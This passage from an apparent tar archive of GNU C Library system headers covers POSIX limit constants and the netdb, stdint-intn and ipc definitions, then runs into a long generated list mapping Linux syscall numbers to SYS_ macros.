GETHOSTNAME function. */ #define _POSIX_HOST_NAME_MAX 255 /* Maximum link count of a file. */ #define _POSIX_LINK_MAX 8 /* Maximum length of login name. */ #define _POSIX_LOGIN_NAME_MAX 9 /* Number of bytes in a terminal canonical input queue. */ #define _POSIX_MAX_CANON 255 /* Number of bytes for which space will be available in a terminal input queue. */ #define _POSIX_MAX_INPUT 255 /* Maximum number of message queues open for a process. */ #define _POSIX_MQ_OPEN_MAX 8 /* Maximum number of supported message priorities. */ #define _POSIX_MQ_PRIO_MAX 32 /* Number of bytes in a filename. */ #define _POSIX_NAME_MAX 14 /* Number of simultaneous supplementary group IDs per process. */ #ifdef __USE_XOPEN2K # define _POSIX_NGROUPS_MAX 8 #else # define _POSIX_NGROUPS_MAX 0 #endif /* Number of files one process can have open at once. */ #ifdef __USE_XOPEN2K # define _POSIX_OPEN_MAX 20 #else # define _POSIX_OPEN_MAX 16 #endif #if !defined __USE_XOPEN2K || defined __USE_GNU /* Number of descriptors that a process may examine with `pselect' or `select'. */ # define _POSIX_FD_SETSIZE _POSIX_OPEN_MAX #endif /* Number of bytes in a pathname. */ #define _POSIX_PATH_MAX 256 /* Number of bytes than can be written atomically to a pipe. */ #define _POSIX_PIPE_BUF 512 /* The number of repeated occurrences of a BRE permitted by the REGEXEC and REGCOMP functions when using the interval notation. */ #define _POSIX_RE_DUP_MAX 255 /* Minimal number of realtime signals reserved for the application. */ #define _POSIX_RTSIG_MAX 8 /* Number of semaphores a process can have. */ #define _POSIX_SEM_NSEMS_MAX 256 /* Maximal value of a semaphore. */ #define _POSIX_SEM_VALUE_MAX 32767 /* Number of pending realtime signals. */ #define _POSIX_SIGQUEUE_MAX 32 /* Largest value of a `ssize_t'. */ #define _POSIX_SSIZE_MAX 32767 /* Number of streams a process can have open at once. */ #define _POSIX_STREAM_MAX 8 /* The number of bytes in a symbolic link. */ #define _POSIX_SYMLINK_MAX 255 /* The number of symbolic links that can be traversed in the resolution of a pathname in the absence of a loop. */ #define _POSIX_SYMLOOP_MAX 8 /* Number of timer for a process. */ #define _POSIX_TIMER_MAX 32 /* Maximum number of characters in a tty name. */ #define _POSIX_TTY_NAME_MAX 9 /* Maximum length of a timezone name (element of `tzname'). */ #ifdef __USE_XOPEN2K # define _POSIX_TZNAME_MAX 6 #else # define _POSIX_TZNAME_MAX 3 #endif #if !defined __USE_XOPEN2K || defined __USE_GNU /* Maximum number of connections that can be queued on a socket. */ # define _POSIX_QLIMIT 1 /* Maximum number of bytes that can be buffered on a socket for send or receive. */ # define _POSIX_HIWAT _POSIX_PIPE_BUF /* Maximum number of elements in an `iovec' array. */ # define _POSIX_UIO_MAXIOV 16 #endif /* Maximum clock resolution in nanoseconds. */ #define _POSIX_CLOCKRES_MIN 20000000 /* Get the implementation-specific values for the above. */ #include <bits/local_lim.h> #ifndef SSIZE_MAX /* ssize_t is not formally required to be the signed type corresponding to size_t, but it is for all configurations supported by glibc. */ # if __WORDSIZE == 64 || __WORDSIZE32_SIZE_ULONG # define SSIZE_MAX LONG_MAX # else # define SSIZE_MAX INT_MAX # endif #endif /* This value is a guaranteed minimum maximum. The current maximum can be got from `sysconf'. */ #ifndef NGROUPS_MAX # define NGROUPS_MAX 8 #endif #endif /* bits/posix1_lim.h */ bits/netdb.h 0000644 00000002357 15246445046 0006773 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _NETDB_H # error "Never include <bits/netdb.h> directly; use <netdb.h> instead." #endif /* Description of data base entry for a single network. NOTE: here a poor assumption is made. The network number is expected to fit into an unsigned long int variable. */ struct netent { char *n_name; /* Official name of network. */ char **n_aliases; /* Alias list. */ int n_addrtype; /* Net address type. */ uint32_t n_net; /* Network number. */ }; bits/stdint-intn.h 0000644 00000002014 15246445046 0010140 0 ustar 00 /* Define intN_t types. Copyright (C) 2017-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_STDINT_INTN_H #define _BITS_STDINT_INTN_H 1 #include <bits/types.h> typedef __int8_t int8_t; typedef __int16_t int16_t; typedef __int32_t int32_t; typedef __int64_t int64_t; #endif /* bits/stdint-intn.h */ bits/ipc.h 0000644 00000004026 15246445046 0006445 0 ustar 00 /* Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_IPC_H # error "Never use <bits/ipc.h> directly; include <sys/ipc.h> instead." #endif #include <bits/types.h> /* Mode bits for `msgget', `semget', and `shmget'. */ #define IPC_CREAT 01000 /* Create key if key does not exist. */ #define IPC_EXCL 02000 /* Fail if key exists. */ #define IPC_NOWAIT 04000 /* Return error on wait. */ /* Control commands for `msgctl', `semctl', and `shmctl'. */ #define IPC_RMID 0 /* Remove identifier. */ #define IPC_SET 1 /* Set `ipc_perm' options. */ #define IPC_STAT 2 /* Get `ipc_perm' options. */ #ifdef __USE_GNU # define IPC_INFO 3 /* See ipcs. */ #endif /* Special key values. */ #define IPC_PRIVATE ((__key_t) 0) /* Private key. */ /* Data structure used to pass permission information to IPC operations. */ struct ipc_perm { __key_t __key; /* Key. */ __uid_t uid; /* Owner's user ID. */ __gid_t gid; /* Owner's group ID. */ __uid_t cuid; /* Creator's user ID. */ __gid_t cgid; /* Creator's group ID. */ unsigned short int mode; /* Read/write permission. */ unsigned short int __pad1; unsigned short int __seq; /* Sequence number. */ unsigned short int __pad2; __syscall_ulong_t __glibc_reserved1; __syscall_ulong_t __glibc_reserved2; }; bits/syscall.h 0000644 00000131137 15246445046 0007350 0 ustar 00 /* Generated at libc build time from syscall list. */ /* The system call list corresponds to kernel 5.18. */ #ifndef _SYSCALL_H # error "Never use <bits/syscall.h> directly; include <sys/syscall.h> instead." #endif #define __GLIBC_LINUX_VERSION_CODE 332288 #ifdef __NR_FAST_atomic_update # define SYS_FAST_atomic_update __NR_FAST_atomic_update #endif #ifdef __NR_FAST_cmpxchg # define SYS_FAST_cmpxchg __NR_FAST_cmpxchg #endif #ifdef __NR_FAST_cmpxchg64 # define SYS_FAST_cmpxchg64 __NR_FAST_cmpxchg64 #endif #ifdef __NR__llseek # define SYS__llseek __NR__llseek #endif #ifdef __NR__newselect # define SYS__newselect __NR__newselect #endif #ifdef __NR__sysctl # define SYS__sysctl __NR__sysctl #endif #ifdef __NR_accept # define SYS_accept __NR_accept #endif #ifdef __NR_accept4 # define SYS_accept4 __NR_accept4 #endif #ifdef __NR_access # define SYS_access __NR_access #endif #ifdef __NR_acct # define SYS_acct __NR_acct #endif #ifdef __NR_acl_get # define SYS_acl_get __NR_acl_get #endif #ifdef __NR_acl_set # define SYS_acl_set __NR_acl_set #endif #ifdef __NR_add_key # define SYS_add_key __NR_add_key #endif #ifdef __NR_adjtimex # define SYS_adjtimex __NR_adjtimex #endif #ifdef __NR_afs_syscall # define SYS_afs_syscall __NR_afs_syscall #endif #ifdef __NR_alarm # define SYS_alarm __NR_alarm #endif #ifdef __NR_alloc_hugepages # define SYS_alloc_hugepages __NR_alloc_hugepages #endif #ifdef __NR_arc_gettls # define SYS_arc_gettls __NR_arc_gettls #endif #ifdef __NR_arc_settls # define SYS_arc_settls __NR_arc_settls #endif #ifdef __NR_arc_usr_cmpxchg # define SYS_arc_usr_cmpxchg __NR_arc_usr_cmpxchg #endif #ifdef __NR_arch_prctl # define SYS_arch_prctl __NR_arch_prctl #endif #ifdef __NR_arm_fadvise64_64 # define SYS_arm_fadvise64_64 __NR_arm_fadvise64_64 #endif #ifdef __NR_arm_sync_file_range # define SYS_arm_sync_file_range __NR_arm_sync_file_range #endif #ifdef __NR_atomic_barrier # define SYS_atomic_barrier __NR_atomic_barrier #endif #ifdef __NR_atomic_cmpxchg_32 # define SYS_atomic_cmpxchg_32 __NR_atomic_cmpxchg_32 #endif #ifdef __NR_attrctl # define SYS_attrctl __NR_attrctl #endif #ifdef __NR_bdflush # define SYS_bdflush __NR_bdflush #endif #ifdef __NR_bind # define SYS_bind __NR_bind #endif #ifdef __NR_bpf # define SYS_bpf __NR_bpf #endif #ifdef __NR_break # define SYS_break __NR_break #endif #ifdef __NR_breakpoint # define SYS_breakpoint __NR_breakpoint #endif #ifdef __NR_brk # define SYS_brk __NR_brk #endif #ifdef __NR_cachectl # define SYS_cachectl __NR_cachectl #endif #ifdef __NR_cacheflush # define SYS_cacheflush __NR_cacheflush #endif #ifdef __NR_capget # define SYS_capget __NR_capget #endif #ifdef __NR_capset # define SYS_capset __NR_capset #endif #ifdef __NR_chdir # define SYS_chdir __NR_chdir #endif #ifdef __NR_chmod # define SYS_chmod __NR_chmod #endif #ifdef __NR_chown # define SYS_chown __NR_chown #endif #ifdef __NR_chown32 # define SYS_chown32 __NR_chown32 #endif #ifdef __NR_chroot # define SYS_chroot __NR_chroot #endif #ifdef __NR_clock_adjtime # define SYS_clock_adjtime __NR_clock_adjtime #endif #ifdef __NR_clock_adjtime64 # define SYS_clock_adjtime64 __NR_clock_adjtime64 #endif #ifdef __NR_clock_getres # define SYS_clock_getres __NR_clock_getres #endif #ifdef __NR_clock_getres_time64 # define SYS_clock_getres_time64 __NR_clock_getres_time64 #endif #ifdef __NR_clock_gettime # define SYS_clock_gettime __NR_clock_gettime #endif #ifdef __NR_clock_gettime64 # define SYS_clock_gettime64 __NR_clock_gettime64 #endif #ifdef __NR_clock_nanosleep # define SYS_clock_nanosleep __NR_clock_nanosleep #endif #ifdef __NR_clock_nanosleep_time64 # define SYS_clock_nanosleep_time64 __NR_clock_nanosleep_time64 #endif #ifdef __NR_clock_settime # define SYS_clock_settime __NR_clock_settime #endif #ifdef __NR_clock_settime64 # define SYS_clock_settime64 __NR_clock_settime64 #endif #ifdef __NR_clone # define SYS_clone __NR_clone #endif #ifdef __NR_clone2 # define SYS_clone2 __NR_clone2 #endif #ifdef __NR_clone3 # define SYS_clone3 __NR_clone3 #endif #ifdef __NR_close # define SYS_close __NR_close #endif #ifdef __NR_close_range # define SYS_close_range __NR_close_range #endif #ifdef __NR_cmpxchg_badaddr # define SYS_cmpxchg_badaddr __NR_cmpxchg_badaddr #endif #ifdef __NR_connect # define SYS_connect __NR_connect #endif #ifdef __NR_copy_file_range # define SYS_copy_file_range __NR_copy_file_range #endif #ifdef __NR_creat # define SYS_creat __NR_creat #endif #ifdef __NR_create_module # define SYS_create_module __NR_create_module #endif #ifdef __NR_delete_module # define SYS_delete_module __NR_delete_module #endif #ifdef __NR_dipc # define SYS_dipc __NR_dipc #endif #ifdef __NR_dup # define SYS_dup __NR_dup #endif #ifdef __NR_dup2 # define SYS_dup2 __NR_dup2 #endif #ifdef __NR_dup3 # define SYS_dup3 __NR_dup3 #endif #ifdef __NR_epoll_create # define SYS_epoll_create __NR_epoll_create #endif #ifdef __NR_epoll_create1 # define SYS_epoll_create1 __NR_epoll_create1 #endif #ifdef __NR_epoll_ctl # define SYS_epoll_ctl __NR_epoll_ctl #endif #ifdef __NR_epoll_ctl_old # define SYS_epoll_ctl_old __NR_epoll_ctl_old #endif #ifdef __NR_epoll_pwait # define SYS_epoll_pwait __NR_epoll_pwait #endif #ifdef __NR_epoll_pwait2 # define SYS_epoll_pwait2 __NR_epoll_pwait2 #endif #ifdef __NR_epoll_wait # define SYS_epoll_wait __NR_epoll_wait #endif #ifdef __NR_epoll_wait_old # define SYS_epoll_wait_old __NR_epoll_wait_old #endif #ifdef __NR_eventfd # define SYS_eventfd __NR_eventfd #endif #ifdef __NR_eventfd2 # define SYS_eventfd2 __NR_eventfd2 #endif #ifdef __NR_exec_with_loader # define SYS_exec_with_loader __NR_exec_with_loader #endif #ifdef __NR_execv # define SYS_execv __NR_execv #endif #ifdef __NR_execve # define SYS_execve __NR_execve #endif #ifdef __NR_execveat # define SYS_execveat __NR_execveat #endif #ifdef __NR_exit # define SYS_exit __NR_exit #endif #ifdef __NR_exit_group # define SYS_exit_group __NR_exit_group #endif #ifdef __NR_faccessat # define SYS_faccessat __NR_faccessat #endif #ifdef __NR_faccessat2 # define SYS_faccessat2 __NR_faccessat2 #endif #ifdef __NR_fadvise64 # define SYS_fadvise64 __NR_fadvise64 #endif #ifdef __NR_fadvise64_64 # define SYS_fadvise64_64 __NR_fadvise64_64 #endif #ifdef __NR_fallocate # define SYS_fallocate __NR_fallocate #endif #ifdef __NR_fanotify_init # define SYS_fanotify_init __NR_fanotify_init #endif #ifdef __NR_fanotify_mark # define SYS_fanotify_mark __NR_fanotify_mark #endif #ifdef __NR_fchdir # define SYS_fchdir __NR_fchdir #endif #ifdef __NR_fchmod # define SYS_fchmod __NR_fchmod #endif #ifdef __NR_fchmodat # define SYS_fchmodat __NR_fchmodat #endif #ifdef __NR_fchown # define SYS_fchown __NR_fchown #endif #ifdef __NR_fchown32 # define SYS_fchown32 __NR_fchown32 #endif #ifdef __NR_fchownat # define SYS_fchownat __NR_fchownat #endif #ifdef __NR_fcntl # define SYS_fcntl __NR_fcntl #endif #ifdef __NR_fcntl64 # define SYS_fcntl64 __NR_fcntl64 #endif #ifdef __NR_fdatasync # define SYS_fdatasync __NR_fdatasync #endif #ifdef __NR_fgetxattr # define SYS_fgetxattr __NR_fgetxattr #endif #ifdef __NR_finit_module # define SYS_finit_module __NR_finit_module #endif #ifdef __NR_flistxattr # define SYS_flistxattr __NR_flistxattr #endif #ifdef __NR_flock # define SYS_flock __NR_flock #endif #ifdef __NR_fork # define SYS_fork __NR_fork #endif #ifdef __NR_fp_udfiex_crtl # define SYS_fp_udfiex_crtl __NR_fp_udfiex_crtl #endif #ifdef __NR_free_hugepages # define SYS_free_hugepages __NR_free_hugepages #endif #ifdef __NR_fremovexattr # define SYS_fremovexattr __NR_fremovexattr #endif #ifdef __NR_fsconfig # define SYS_fsconfig __NR_fsconfig #endif #ifdef __NR_fsetxattr # define SYS_fsetxattr __NR_fsetxattr #endif #ifdef __NR_fsmount # define SYS_fsmount __NR_fsmount #endif #ifdef __NR_fsopen # define SYS_fsopen __NR_fsopen #endif #ifdef __NR_fspick # define SYS_fspick __NR_fspick #endif #ifdef __NR_fstat # define SYS_fstat __NR_fstat #endif #ifdef __NR_fstat64 # define SYS_fstat64 __NR_fstat64 #endif #ifdef __NR_fstatat64 # define SYS_fstatat64 __NR_fstatat64 #endif #ifdef __NR_fstatfs # define SYS_fstatfs __NR_fstatfs #endif #ifdef __NR_fstatfs64 # define SYS_fstatfs64 __NR_fstatfs64 #endif #ifdef __NR_fsync # define SYS_fsync __NR_fsync #endif #ifdef __NR_ftime # define SYS_ftime __NR_ftime #endif #ifdef __NR_ftruncate # define SYS_ftruncate __NR_ftruncate #endif #ifdef __NR_ftruncate64 # define SYS_ftruncate64 __NR_ftruncate64 #endif #ifdef __NR_futex # define SYS_futex __NR_futex #endif #ifdef __NR_futex_time64 # define SYS_futex_time64 __NR_futex_time64 #endif #ifdef __NR_futex_waitv # define SYS_futex_waitv __NR_futex_waitv #endif #ifdef __NR_futimesat # define SYS_futimesat __NR_futimesat #endif #ifdef __NR_get_kernel_syms # define SYS_get_kernel_syms __NR_get_kernel_syms #endif #ifdef __NR_get_mempolicy # define SYS_get_mempolicy __NR_get_mempolicy #endif #ifdef __NR_get_robust_list # define SYS_get_robust_list __NR_get_robust_list #endif #ifdef __NR_get_thread_area # define SYS_get_thread_area __NR_get_thread_area #endif #ifdef __NR_get_tls # define SYS_get_tls __NR_get_tls #endif #ifdef __NR_getcpu # define SYS_getcpu __NR_getcpu #endif #ifdef __NR_getcwd # define SYS_getcwd __NR_getcwd #endif #ifdef __NR_getdents # define SYS_getdents __NR_getdents #endif #ifdef __NR_getdents64 # define SYS_getdents64 __NR_getdents64 #endif #ifdef __NR_getdomainname # define SYS_getdomainname __NR_getdomainname #endif #ifdef __NR_getdtablesize # define SYS_getdtablesize __NR_getdtablesize #endif #ifdef __NR_getegid # define SYS_getegid __NR_getegid #endif #ifdef __NR_getegid32 # define SYS_getegid32 __NR_getegid32 #endif #ifdef __NR_geteuid # define SYS_geteuid __NR_geteuid #endif #ifdef __NR_geteuid32 # define SYS_geteuid32 __NR_geteuid32 #endif #ifdef __NR_getgid # define SYS_getgid __NR_getgid #endif #ifdef __NR_getgid32 # define SYS_getgid32 __NR_getgid32 #endif #ifdef __NR_getgroups # define SYS_getgroups __NR_getgroups #endif #ifdef __NR_getgroups32 # define SYS_getgroups32 __NR_getgroups32 #endif #ifdef __NR_gethostname # define SYS_gethostname __NR_gethostname #endif #ifdef __NR_getitimer # define SYS_getitimer __NR_getitimer #endif #ifdef __NR_getpagesize # define SYS_getpagesize __NR_getpagesize #endif #ifdef __NR_getpeername # define SYS_getpeername __NR_getpeername #endif #ifdef __NR_getpgid # define SYS_getpgid __NR_getpgid #endif #ifdef __NR_getpgrp # define SYS_getpgrp __NR_getpgrp #endif #ifdef __NR_getpid # define SYS_getpid __NR_getpid #endif #ifdef __NR_getpmsg # define SYS_getpmsg __NR_getpmsg #endif #ifdef __NR_getppid # define SYS_getppid __NR_getppid #endif #ifdef __NR_getpriority # define SYS_getpriority __NR_getpriority #endif #ifdef __NR_getrandom # define SYS_getrandom __NR_getrandom #endif #ifdef __NR_getresgid # define SYS_getresgid __NR_getresgid #endif #ifdef __NR_getresgid32 # define SYS_getresgid32 __NR_getresgid32 #endif #ifdef __NR_getresuid # define SYS_getresuid __NR_getresuid #endif #ifdef __NR_getresuid32 # define SYS_getresuid32 __NR_getresuid32 #endif #ifdef __NR_getrlimit # define SYS_getrlimit __NR_getrlimit #endif #ifdef __NR_getrusage # define SYS_getrusage __NR_getrusage #endif #ifdef __NR_getsid # define SYS_getsid __NR_getsid #endif #ifdef __NR_getsockname # define SYS_getsockname __NR_getsockname #endif #ifdef __NR_getsockopt # define SYS_getsockopt __NR_getsockopt #endif #ifdef __NR_gettid # define SYS_gettid __NR_gettid #endif #ifdef __NR_gettimeofday # define SYS_gettimeofday __NR_gettimeofday #endif #ifdef __NR_getuid # define SYS_getuid __NR_getuid #endif #ifdef __NR_getuid32 # define SYS_getuid32 __NR_getuid32 #endif #ifdef __NR_getunwind # define SYS_getunwind __NR_getunwind #endif #ifdef __NR_getxattr # define SYS_getxattr __NR_getxattr #endif #ifdef __NR_getxgid # define SYS_getxgid __NR_getxgid #endif #ifdef __NR_getxpid # define SYS_getxpid __NR_getxpid #endif #ifdef __NR_getxuid # define SYS_getxuid __NR_getxuid #endif #ifdef __NR_gtty # define SYS_gtty __NR_gtty #endif #ifdef __NR_idle # define SYS_idle __NR_idle #endif #ifdef __NR_init_module # define SYS_init_module __NR_init_module #endif #ifdef __NR_inotify_add_watch # define SYS_inotify_add_watch __NR_inotify_add_watch #endif #ifdef __NR_inotify_init # define SYS_inotify_init __NR_inotify_init #endif #ifdef __NR_inotify_init1 # define SYS_inotify_init1 __NR_inotify_init1 #endif #ifdef __NR_inotify_rm_watch # define SYS_inotify_rm_watch __NR_inotify_rm_watch #endif #ifdef __NR_io_cancel # define SYS_io_cancel __NR_io_cancel #endif #ifdef __NR_io_destroy # define SYS_io_destroy __NR_io_destroy #endif #ifdef __NR_io_getevents # define SYS_io_getevents __NR_io_getevents #endif #ifdef __NR_io_pgetevents # define SYS_io_pgetevents __NR_io_pgetevents #endif #ifdef __NR_io_pgetevents_time64 # define SYS_io_pgetevents_time64 __NR_io_pgetevents_time64 #endif #ifdef __NR_io_setup # define SYS_io_setup __NR_io_setup #endif #ifdef __NR_io_submit # define SYS_io_submit __NR_io_submit #endif #ifdef __NR_io_uring_enter # define SYS_io_uring_enter __NR_io_uring_enter #endif #ifdef __NR_io_uring_register # define SYS_io_uring_register __NR_io_uring_register #endif #ifdef __NR_io_uring_setup # define SYS_io_uring_setup __NR_io_uring_setup #endif #ifdef __NR_ioctl # define SYS_ioctl __NR_ioctl #endif #ifdef __NR_ioperm # define SYS_ioperm __NR_ioperm #endif #ifdef __NR_iopl # define SYS_iopl __NR_iopl #endif #ifdef __NR_ioprio_get # define SYS_ioprio_get __NR_ioprio_get #endif #ifdef __NR_ioprio_set # define SYS_ioprio_set __NR_ioprio_set #endif #ifdef __NR_ipc # define SYS_ipc __NR_ipc #endif #ifdef __NR_kcmp # define SYS_kcmp __NR_kcmp #endif #ifdef __NR_kern_features # define SYS_kern_features __NR_kern_features #endif #ifdef __NR_kexec_file_load # define SYS_kexec_file_load __NR_kexec_file_load #endif #ifdef __NR_kexec_load # define SYS_kexec_load __NR_kexec_load #endif #ifdef __NR_keyctl # define SYS_keyctl __NR_keyctl #endif #ifdef __NR_kill # define SYS_kill __NR_kill #endif #ifdef __NR_landlock_add_rule # define SYS_landlock_add_rule __NR_landlock_add_rule #endif #ifdef __NR_landlock_create_ruleset # define SYS_landlock_create_ruleset __NR_landlock_create_ruleset #endif #ifdef __NR_landlock_restrict_self # define SYS_landlock_restrict_self __NR_landlock_restrict_self #endif #ifdef __NR_lchown # define SYS_lchown __NR_lchown #endif #ifdef __NR_lchown32 # define SYS_lchown32 __NR_lchown32 #endif #ifdef __NR_lgetxattr # define SYS_lgetxattr __NR_lgetxattr #endif #ifdef __NR_link # define SYS_link __NR_link #endif #ifdef __NR_linkat # define SYS_linkat __NR_linkat #endif #ifdef __NR_listen # define SYS_listen __NR_listen #endif #ifdef __NR_listxattr # define SYS_listxattr __NR_listxattr #endif #ifdef __NR_llistxattr # define SYS_llistxattr __NR_llistxattr #endif #ifdef __NR_llseek # define SYS_llseek __NR_llseek #endif #ifdef __NR_lock # define SYS_lock __NR_lock #endif #ifdef __NR_lookup_dcookie # define SYS_lookup_dcookie __NR_lookup_dcookie #endif #ifdef __NR_lremovexattr # define SYS_lremovexattr __NR_lremovexattr #endif #ifdef __NR_lseek # define SYS_lseek __NR_lseek #endif #ifdef __NR_lsetxattr # define SYS_lsetxattr __NR_lsetxattr #endif #ifdef __NR_lstat # define SYS_lstat __NR_lstat #endif #ifdef __NR_lstat64 # define SYS_lstat64 __NR_lstat64 #endif #ifdef __NR_madvise # define SYS_madvise __NR_madvise #endif #ifdef __NR_mbind # define SYS_mbind __NR_mbind #endif #ifdef __NR_membarrier # define SYS_membarrier __NR_membarrier #endif #ifdef __NR_memfd_create # define SYS_memfd_create __NR_memfd_create #endif #ifdef __NR_memfd_secret # define SYS_memfd_secret __NR_memfd_secret #endif #ifdef __NR_memory_ordering # define SYS_memory_ordering __NR_memory_ordering #endif #ifdef __NR_migrate_pages # define SYS_migrate_pages __NR_migrate_pages #endif #ifdef __NR_mincore # define SYS_mincore __NR_mincore #endif #ifdef __NR_mkdir # define SYS_mkdir __NR_mkdir #endif #ifdef __NR_mkdirat # define SYS_mkdirat __NR_mkdirat #endif #ifdef __NR_mknod # define SYS_mknod __NR_mknod #endif #ifdef __NR_mknodat # define SYS_mknodat __NR_mknodat #endif #ifdef __NR_mlock # define SYS_mlock __NR_mlock #endif #ifdef __NR_mlock2 # define SYS_mlock2 __NR_mlock2 #endif #ifdef __NR_mlockall # define SYS_mlockall __NR_mlockall #endif #ifdef __NR_mmap # define SYS_mmap __NR_mmap #endif #ifdef __NR_mmap2 # define SYS_mmap2 __NR_mmap2 #endif #ifdef __NR_modify_ldt # define SYS_modify_ldt __NR_modify_ldt #endif #ifdef __NR_mount # define SYS_mount __NR_mount #endif #ifdef __NR_mount_setattr # define SYS_mount_setattr __NR_mount_setattr #endif #ifdef __NR_move_mount # define SYS_move_mount __NR_move_mount #endif #ifdef __NR_move_pages # define SYS_move_pages __NR_move_pages #endif #ifdef __NR_mprotect # define SYS_mprotect __NR_mprotect #endif #ifdef __NR_mpx # define SYS_mpx __NR_mpx #endif #ifdef __NR_mq_getsetattr # define SYS_mq_getsetattr __NR_mq_getsetattr #endif #ifdef __NR_mq_notify # define SYS_mq_notify __NR_mq_notify #endif #ifdef __NR_mq_open # define SYS_mq_open __NR_mq_open #endif #ifdef __NR_mq_timedreceive # define SYS_mq_timedreceive __NR_mq_timedreceive #endif #ifdef __NR_mq_timedreceive_time64 # define SYS_mq_timedreceive_time64 __NR_mq_timedreceive_time64 #endif #ifdef __NR_mq_timedsend # define SYS_mq_timedsend __NR_mq_timedsend #endif #ifdef __NR_mq_timedsend_time64 # define SYS_mq_timedsend_time64 __NR_mq_timedsend_time64 #endif #ifdef __NR_mq_unlink # define SYS_mq_unlink __NR_mq_unlink #endif #ifdef __NR_mremap # define SYS_mremap __NR_mremap #endif #ifdef __NR_msgctl # define SYS_msgctl __NR_msgctl #endif #ifdef __NR_msgget # define SYS_msgget __NR_msgget #endif #ifdef __NR_msgrcv # define SYS_msgrcv __NR_msgrcv #endif #ifdef __NR_msgsnd # define SYS_msgsnd __NR_msgsnd #endif #ifdef __NR_msync # define SYS_msync __NR_msync #endif #ifdef __NR_multiplexer # define SYS_multiplexer __NR_multiplexer #endif #ifdef __NR_munlock # define SYS_munlock __NR_munlock #endif #ifdef __NR_munlockall # define SYS_munlockall __NR_munlockall #endif #ifdef __NR_munmap # define SYS_munmap __NR_munmap #endif #ifdef __NR_name_to_handle_at # define SYS_name_to_handle_at __NR_name_to_handle_at #endif #ifdef __NR_nanosleep # define SYS_nanosleep __NR_nanosleep #endif #ifdef __NR_newfstatat # define SYS_newfstatat __NR_newfstatat #endif #ifdef __NR_nfsservctl # define SYS_nfsservctl __NR_nfsservctl #endif #ifdef __NR_ni_syscall # define SYS_ni_syscall __NR_ni_syscall #endif #ifdef __NR_nice # define SYS_nice __NR_nice #endif #ifdef __NR_old_adjtimex # define SYS_old_adjtimex __NR_old_adjtimex #endif #ifdef __NR_old_getpagesize # define SYS_old_getpagesize __NR_old_getpagesize #endif #ifdef __NR_oldfstat # define SYS_oldfstat __NR_oldfstat #endif #ifdef __NR_oldlstat # define SYS_oldlstat __NR_oldlstat #endif #ifdef __NR_oldolduname # define SYS_oldolduname __NR_oldolduname #endif #ifdef __NR_oldstat # define SYS_oldstat __NR_oldstat #endif #ifdef __NR_oldumount # define SYS_oldumount __NR_oldumount #endif #ifdef __NR_olduname # define SYS_olduname __NR_olduname #endif #ifdef __NR_open # define SYS_open __NR_open #endif #ifdef __NR_open_by_handle_at # define SYS_open_by_handle_at __NR_open_by_handle_at #endif #ifdef __NR_open_tree # define SYS_open_tree __NR_open_tree #endif #ifdef __NR_openat # define SYS_openat __NR_openat #endif #ifdef __NR_openat2 # define SYS_openat2 __NR_openat2 #endif #ifdef __NR_or1k_atomic # define SYS_or1k_atomic __NR_or1k_atomic #endif #ifdef __NR_osf_adjtime # define SYS_osf_adjtime __NR_osf_adjtime #endif #ifdef __NR_osf_afs_syscall # define SYS_osf_afs_syscall __NR_osf_afs_syscall #endif #ifdef __NR_osf_alt_plock # define SYS_osf_alt_plock __NR_osf_alt_plock #endif #ifdef __NR_osf_alt_setsid # define SYS_osf_alt_setsid __NR_osf_alt_setsid #endif #ifdef __NR_osf_alt_sigpending # define SYS_osf_alt_sigpending __NR_osf_alt_sigpending #endif #ifdef __NR_osf_asynch_daemon # define SYS_osf_asynch_daemon __NR_osf_asynch_daemon #endif #ifdef __NR_osf_audcntl # define SYS_osf_audcntl __NR_osf_audcntl #endif #ifdef __NR_osf_audgen # define SYS_osf_audgen __NR_osf_audgen #endif #ifdef __NR_osf_chflags # define SYS_osf_chflags __NR_osf_chflags #endif #ifdef __NR_osf_execve # define SYS_osf_execve __NR_osf_execve #endif #ifdef __NR_osf_exportfs # define SYS_osf_exportfs __NR_osf_exportfs #endif #ifdef __NR_osf_fchflags # define SYS_osf_fchflags __NR_osf_fchflags #endif #ifdef __NR_osf_fdatasync # define SYS_osf_fdatasync __NR_osf_fdatasync #endif #ifdef __NR_osf_fpathconf # define SYS_osf_fpathconf __NR_osf_fpathconf #endif #ifdef __NR_osf_fstat # define SYS_osf_fstat __NR_osf_fstat #endif #ifdef __NR_osf_fstatfs # define SYS_osf_fstatfs __NR_osf_fstatfs #endif #ifdef __NR_osf_fstatfs64 # define SYS_osf_fstatfs64 __NR_osf_fstatfs64 #endif #ifdef __NR_osf_fuser # define SYS_osf_fuser __NR_osf_fuser #endif #ifdef __NR_osf_getaddressconf # define SYS_osf_getaddressconf __NR_osf_getaddressconf #endif #ifdef __NR_osf_getdirentries # define SYS_osf_getdirentries __NR_osf_getdirentries #endif #ifdef __NR_osf_getdomainname # define SYS_osf_getdomainname __NR_osf_getdomainname #endif #ifdef __NR_osf_getfh # define SYS_osf_getfh __NR_osf_getfh #endif #ifdef __NR_osf_getfsstat # define SYS_osf_getfsstat __NR_osf_getfsstat #endif #ifdef __NR_osf_gethostid # define 